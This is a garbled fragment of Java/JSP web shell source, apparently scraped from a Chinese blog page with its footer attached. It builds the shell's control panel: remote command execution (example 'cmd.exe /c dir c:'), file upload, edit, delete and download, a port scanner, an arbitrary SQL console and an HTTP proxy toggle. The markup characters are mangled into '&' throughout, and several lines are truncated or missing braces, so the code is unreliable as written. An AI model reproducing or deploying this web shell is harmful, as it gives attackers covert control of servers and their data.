&&& private void getProcedureDetail(ResultSet procRs)throws Exception{
&&& &out.print(&&table border=1&&tr&&td&PROCEDURE_NAME&/td&&td&REMARKS&/td&&td&PROCEDURE_TYPE&/td&&/tr&&);
&& &&while(procRs.next()){
&& &&&out.print(&&tr&&td&&+procRs.getString(3)+&&/td&&td&&+procRs.getString(7)+&&/td&&td&&+procRs.getShort(8)+&&/td&&/tr&&);
&&& &out.print(&&/table&&);
&&& &procRs.close();
&&& //run the sql command
&&& public void executeSQL(String sqlCmd)throws Exception{
&&& &stmt=con.createStatement();
&&& &if(sqlCmd.trim().toLowerCase().startsWith(&select&)){
&&& &&rs=stmt.executeQuery(sqlCmd);
&&& &&ResultSetMetaData rsmd=rs.getMetaData();
&&& &&int ColumnCount=rsmd.getColumnCount();
&&& &&out.print(&&table border=1&&tr&&);
&&& &&for(int i=1;i&=ColumnCi++){
&&& &&&out.print(&&td&&+rsmd.getColumnName(i)+&&/td&&);
&&& &&out.print(&&/tr&&);
&&& &&while(rs.next()){
&&& &&&out.print(&&/tr&&);
&&&&&&& &&for(int i=1;i&=ColumnCi++){
&&&&&&& &&&out.print(&&td&&+rs.getString(i)+&&/td&&);
&&&&&&& &&}
&&&&&&& &&out.print(&&/tr&&);
&&& &}else{
&&& &&stmt.executeUpdate(sqlCmd);
&&& &&out.print(&execute success&);
&&& //close all the resource
&&& public void closeAll()throws SQLException{
&&&&&&& try{
&&&&&&&&&&& if(rs!=null)rs.close();
&&&&&&& }catch(Exception e){
&&&&&&& try{
&&&&&&&&&&& if(stmt!=null)stmt.close();
&&&&&&& }catch(Exception e){
&&&&&&& try{
&&&&&&& &if(con!=null)con.close();
&&&&&&& }catch(Exception e){
//the other tools
void systemTools(Writer out)throws Exception{
&&& out.print(&&table border=1&&);
&&& out.print(&&tr&&form method=post action='?Action=run'&&td bordercolorlight=Black bgcolor=menu&System class run&/td&&);
&&& out.print(&&td colspan=2&filepath:&input name=execFile size=75 type=text title='example d:\\cmd.exe /c dir c:'&&/td&&td&&input name=go type=submit value=run&&/td&&/form&&/tr&&);
&&& out.print(&&tr&&form method=post enctype=\&multipart/form-data\& action='?Action=Upfile'&&td bordercolorlight=Black bgcolor=menu&file upload&/td&&);
&&& out.print(&&td colspan=2&file:&input name=file type=file&up to file&input title='d:\\1.txt' name=UPaddress size=35 type=text&&/td&&td&&input name=up onclick=\&this.form.action+='&UPaddress='+this.form.UPaddress.\& type=submit value=upl&&/td&&/form&&/tr&&);
&&& out.print(&&tr&&form method=post action='?Action=EditFile'&&td bordercolorlight=Black bgcolor=menu&new file&/td&&td colspan=2&file full name:&input name=Filename type=text size=50&&/td&&td&&input name=submit type=submit value=new&&/td&&);
&&& out.print(&&/form&&/tr&&);
&&& out.print(&&tr&&form method=post action='?Action=newFolder'&&td bordercolorlight=Black bgcolor=menu&Create folder&/td&&td colspan=2&folder fullname:&input name=Filename type=text size=50&&/td&&td&&input name=submit type=submit value=new&&/td&&);
&&& out.print(&&/form&&/tr&&);
&&& out.print(&&tr&&form method=post action='?Action=APIreflect'&&td bordercolorlight=Black bgcolor=menu&Reflect API&/td&&td colspan=2&Class Name:&input name=Filename title=.lang.String type=text size=50&&/td&&td&&input name=submit type=submit value=ref&&/td&&);
&&& out.print(&&/form&&/tr&&);
&&& out.print(&&tr&&form method=post action='?Action=IPscan'&&td bordercolorlight=Black bgcolor=menu&Scan Port&/td&&td&IP:&input name=IPaddress type=text size=20&&/td&&td&Start Port:&input name=startPort title=1-65535 type=text size=5&End Port:&input name=endPort title=1-65535 type=text size=5&&/td&&td&&input name=submit type=submit value=sca&&/td&&);
&&& out.print(&&/form&&/tr&&);
&&& out.print(&&tr&&form method=post action='?Action=sql'&&);
&&& out.print(&&td bordercolorlight=Black bgcolor=menu&DBM&);
&&& out.print(&&select name=DB onChange='setDataBase(this.form);'&&option&Sybase&/option&&option&Mssql&/option&&option&&/option&&option&Oracle&/option&&option&DB2&/option&&option&PostgreSQL&/option&&/select&&/td&&td&&);
&&& out.print(&Driver:&input name=driver type=text&URL:&input name=conUrl type=text&user:&input name=user type=text size=3&password:&input name=password type=text size=3&&/td&&);
&&& out.print(&&td&SqlCmd:&input type=text name=sqlcmd title='select * from admin'&&input name=run type=submit value=Exec&&/td&&);
&&& out.print(&&td&&input name=run type=submit value=LDB&&/td&&);
&&& out.print(&&/form&&/tr&&);
&&& if(!openHttpProxy){
&&& &out.print(&&tr&&td&&a href='?Action=HttpProxy' target=FileFrame&OpenTheHttpProxy&/a&&/td&&/tr&&);
&&& }else{
&&& &out.print(&&tr&&td&&a href='?Action=HttpProxy' target=FileFrame&CloseTheHttpProxy&/a&&/td&&/tr&&);
&&& out.print(&&/table&&);
//user interfaces==========================//
void userInterFaces(Writer out)throws Exception{
&out.print(&if u want to add an function ,u can coding in 'userInterFaces'function&);
//=========================================//
String encodeChange(String str)throws Exception{
&&& if(str==null)
&&&&&&& return new String(str.getBytes(&ISO-8859-1&),&gb2312&);
String folderReplace(String folder){
&&& return folder.replace('\\','/');
String fOperation(boolean f,String file){
&&&&&&& return &&a href=\&script:delFile('&+folderReplace(file)+&')\&&Delete&/a& &a href=\&script:reName('&+folderReplace(file)+&')\&&Rename&/a& &a href=\&script:setDate('&+folderReplace(file)+&')\&&setDate&/a& &a href=\&script:zipFile('&+folderReplace(file)+&')\&&Zip&/a&&;
&&&&&&& return &&a href=\&script:delFile('&+folderReplace(file)+&')\&&Delete&/a& &a href=\&script:reName('&+folderReplace(file)+&')\&&Rename&/a& &a href=\&script:setDate('&+folderReplace(file)+&')\&&setDate&/a& &a href=\&script:copyFile('&+folderReplace(file)+&')\&&Copy&/a& &a href=\&script:editFile('&+folderReplace(file)+&')\&&Edit&/a& &a href=\&script:downFile('&+folderReplace(file)+&');\&&Down&/a&&;
String getSize(long size){
&&& if(size&=24){
&&&&&&& return new Long(size/L)+&G&;
&&& }else if(size&=){
&&&&&&& return new Long(size/1048576L)+&M&;
&&& }else if(size&=1024){
&&&&&&& return new Long(size/1024)+&K&;
&&&&&&& return size+&B&;
String ico(int num){//ico
&&& return &&font face=wingdings size=3&&#&+num+&&/font&&;
String htmlEntity(String htmlCode){//html uncode
&htmlCode=htmlCode.replaceAll(&&&,&&&);
&htmlCode=htmlCode.replaceAll(&&&,&&&);
&return htmlCode.replaceAll(&&&,&&&);
标签: , , ,
& | & & | & & | & & | & & | & & | & & | & & | & & | & & | & & | & & | & & | &
最热门文章
41015 views
10737 views
9966 views
6362 views
5788 views
4658 views
4070 views
3994 views
友情链接 |
本站进行138次查询}

我要回帖

更多关于 dbmis6管理系统下载 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信